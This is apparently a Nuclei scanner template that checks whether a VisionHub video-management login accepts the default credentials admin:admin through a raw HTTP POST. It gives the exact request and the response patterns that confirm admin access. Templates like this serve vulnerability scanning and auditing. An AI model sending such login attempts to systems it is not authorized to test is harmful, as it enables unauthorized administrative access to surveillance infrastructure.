id: visionhub-default-login

info:
  name: VisionHub Default Login
  author: Techryptic (@Tech)
  severity: high
  description: VisionHub application default admin credentials were accepted.
  reference:
    - https://www.qognify.com/products/visionhub/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 1
  tags: visionhub,default-login

http:
  - raw:
      - |
        POST /VisionHubWebApi/api/Login HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}

    payloads:
      username:
        - admin
      password:
        - admin
    attack: pitchfork

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Set-Cookie: admin"
        part: header

      - type: word
        words:
          - "Set-Cookie: adminer_key"
        part: header
        negative: true

      - type: status
        status:
          - 200

# digest: 4b0a004830460221009ac44b62acad75541a9465528d8789d7099db2085e43bdbd3b2e6c3162dca6b2022100a095da6194ce80491eb8e8a36ec318e32c3f5f4cc09e31c8d5c498cc25228d88:922c64590222798bb761d5b6d8e72950
